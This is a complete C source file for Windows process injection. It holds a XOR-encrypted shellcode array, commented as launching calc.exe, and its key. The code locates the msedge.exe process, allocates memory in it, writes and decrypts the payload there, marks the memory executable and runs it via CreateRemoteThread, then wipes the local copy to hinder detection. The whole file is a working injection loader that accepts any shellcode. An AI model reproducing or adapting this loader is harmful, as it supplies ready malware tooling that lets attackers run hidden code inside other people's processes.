shellcode_process_injection.c

#include <Windows.h>
#include <stdio.h>
#include <stdint.h>
#include <TlHelp32.h>
#include <ctype.h>
#include <stdbool.h>

/*
	Decrypt a xored shellcode.
	Find a remote process by name.
	Inject the shellcode in the remote process and start a new thread.
*/

/*===================================#
#     XORED PAYLOAD HANDLINGFROM     #
#   		 xor_payload.c   	     #
#===================================*/

// Xored shellcode with calc.exe
uint8_t calc_shellcode[] = {
	0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B,
	0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31,
	0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0,
	0x3E, 0x54, 0xB2, 0xD5, 0x63, 0x12, 0x08, 0x70, 0x43, 0x4E, 0x26, 0x9E, 0xA2, 0x68, 0x38,
	0x77, 0xA4, 0x90, 0x94, 0x0D, 0x32, 0x25, 0x3A, 0xE4, 0x3C, 0x47, 0xD4, 0x29, 0x59, 0x31,
	0x77, 0xB5, 0xF9, 0xF9, 0xD7, 0x73, 0x74, 0x72, 0x27, 0xEB, 0xA7, 0x2B, 0x0C, 0x2D, 0x78,
	0xA6, 0x35, 0xF9, 0x31, 0x47, 0x37, 0xFF, 0x32, 0x4F, 0x27, 0x66, 0x8F, 0x88, 0x33, 0x31,
	0x89, 0xAC, 0x33, 0xF2, 0x6B, 0xFB, 0x3C, 0x73, 0xB9, 0x23, 0x56, 0x96, 0x23, 0x54, 0xB9,
	0xDA, 0x24, 0xB3, 0xB0, 0x52, 0x32, 0x75, 0xB3, 0x57, 0x8E, 0x12, 0xAE, 0x27, 0x66, 0x35,
	0x52, 0x6D, 0x37, 0x40, 0x8E, 0x06, 0xAC, 0x2A, 0x2B, 0xE5, 0x27, 0x7B, 0x22, 0x64, 0xA9,
	0x10, 0x24, 0xF9, 0x75, 0x17, 0x37, 0xFF, 0x32, 0x73, 0x27, 0x66, 0x8F, 0x2A, 0xEE, 0x7D,
	0xFE, 0x2D, 0x73, 0xA9, 0x1E, 0x2B, 0x35, 0x2A, 0x31, 0x37, 0x3D, 0x1E, 0x33, 0x24, 0x20,
	0x37, 0x3F, 0x3A, 0xFA, 0xB3, 0x53, 0x35, 0x20, 0x90, 0x8E, 0x3F, 0x1E, 0x32, 0x3F, 0x31,
	0xFD, 0x77, 0x9B, 0x2E, 0xA0, 0x8C, 0x8B, 0x2F, 0x27, 0xD4, 0x66, 0x5F, 0x6B, 0x65, 0x79,
	0x76, 0x65, 0x72, 0x31, 0xD2, 0xFE, 0x75, 0x73, 0x6F, 0x6E, 0x26, 0xE5, 0x5A, 0xEE, 0x16,
	0xF1, 0x9A, 0xA7, 0xC2, 0xBF, 0x6E, 0x5E, 0x78, 0x2E, 0xD4, 0xC1, 0xCA, 0xD6, 0xF8, 0x86,
	0xA3, 0x2D, 0xF1, 0xBD, 0x77, 0x4F, 0x72, 0x0E, 0x65, 0xEE, 0x9C, 0xBF, 0x1E, 0x60, 0xC2,
	0x31, 0x76, 0x00, 0x16, 0x35, 0x73, 0x2D, 0x33, 0xE6, 0xB4, 0x98, 0x8A, 0x08, 0x04, 0x15,
	0x15, 0x65,
};

uint8_t xor_key[] = {
	'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y'
};

void xor_by_key(IN OUT uint8_t shellcode[], IN const size_t shellcode_sz, IN const uint8_t key[], IN const size_t key_sz) {
	for (size_t i = 0; i < shellcode_sz; i++) {
		// Get byte of key
		uint8_t byte_key = key[i % key_sz];

		// Calculate value
		shellcode[i] = shellcode[i] ^ byte_key;
	}
}

/*===================================#
#      PROCESS ENUMERATION FROM      #
#   process_enumeration_snapshot.c   #
#===================================*/

void to_lowercase(IN wchar_t src[], OUT wchar_t dest[]) {
	for (size_t i = 0; i < wcslen(src); i++) {
		dest[i] = (wchar_t)tolower(src[i]);
		dest[i + 1] = '\0';
	}
}

bool find_process(IN const wchar_t proc_name[], OUT HANDLE* proc, OUT PROCESSENTRY32* proc_entry) {
	/*
		Return:
			TRUE  - if process has been found and opened (:pProcName and :hProc are populated)
			FALSE - if something failed (reading :pProcName and :hProc is undefined behavior)
	*/
	HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (snap == INVALID_HANDLE_VALUE) {
		printf("[!] CreateToolhelp32Snapshot error: %d \n", GetLastError());
		return FALSE;
	}


	if (!Process32First(snap, proc_entry)) {
		printf("[!] Process32First error: %d \n", GetLastError());
		return FALSE;
	}

	// Prepare lowercase process name
	wchar_t process_name[MAX_PATH];

	do {
		to_lowercase(proc_entry->szExeFile, process_name);

		// printf("Proc: %5d | %ls \n", proc_entry->th32ProcessID, process_name);

		if (wcscmp(process_name, proc_name) == 0) {
			*proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc_entry->th32ProcessID);
			if (*proc == NULL) {
				printf("[!] OpenProcess error: %d \n", GetLastError());
				return FALSE;
			}

			return TRUE;
		}
	} while (Process32Next(snap, proc_entry));

	return FALSE;
}

int main() {
	// Find process by name
	HANDLE proc = NULL;
	PROCESSENTRY32 proc_entry = {
		// According to the documentation, this value must be initialized
		.dwSize = sizeof(PROCESSENTRY32)
	};
	if (!find_process(L"msedge.exe", &proc, &proc_entry)) {
		printf("[!] FindProcess failed \n");
		return 1;
	}

	// Allocate memory for a shellcode in the remote process 
	void* shellcode_addr = VirtualAllocEx(
		proc, 
		NULL,
		sizeof(calc_shellcode),
		MEM_COMMIT | MEM_RESERVE,
		PAGE_READWRITE
	);
	if (shellcode_addr == NULL) {
		printf("[!] VirtualAllocEx error: %d \n", GetLastError());
		return 1;
	}
	
	// Decrypt shellcode and 
	xor_by_key(calc_shellcode, sizeof(calc_shellcode), xor_key, sizeof(xor_key));

	// Write the shellcode to the allocated memory in the remote process
	size_t bytes = 0;
	WriteProcessMemory(proc, shellcode_addr, calc_shellcode, sizeof(calc_shellcode), &bytes);
	if (bytes == 0) {
		printf("[!] WriteProcessMemory: %d \n", GetLastError());
		return 1;
	}

	// Wipe the shellcode out from local memory
	memset(calc_shellcode, 0x00, sizeof(calc_shellcode));

	// Mark the allocated memory as executable
	DWORD old = 0;
	if (!VirtualProtectEx(proc, shellcode_addr, sizeof(calc_shellcode), PAGE_EXECUTE_READWRITE, &old)) {
		printf("[!] VirtualProtectEx error: %d \n", GetLastError());
		return 1;
	}

	// Create a new thread in the remote process and execute the shellcode
	if (CreateRemoteThread(proc, NULL, NULL, shellcode_addr, NULL, NULL, NULL) == NULL) {
		printf("[!] CreateRemoteThread error: %d \n", GetLastError());
		return 1;
	}

	printf("[+] It works. \n");

	// Exit
	getchar();
	return 0;
}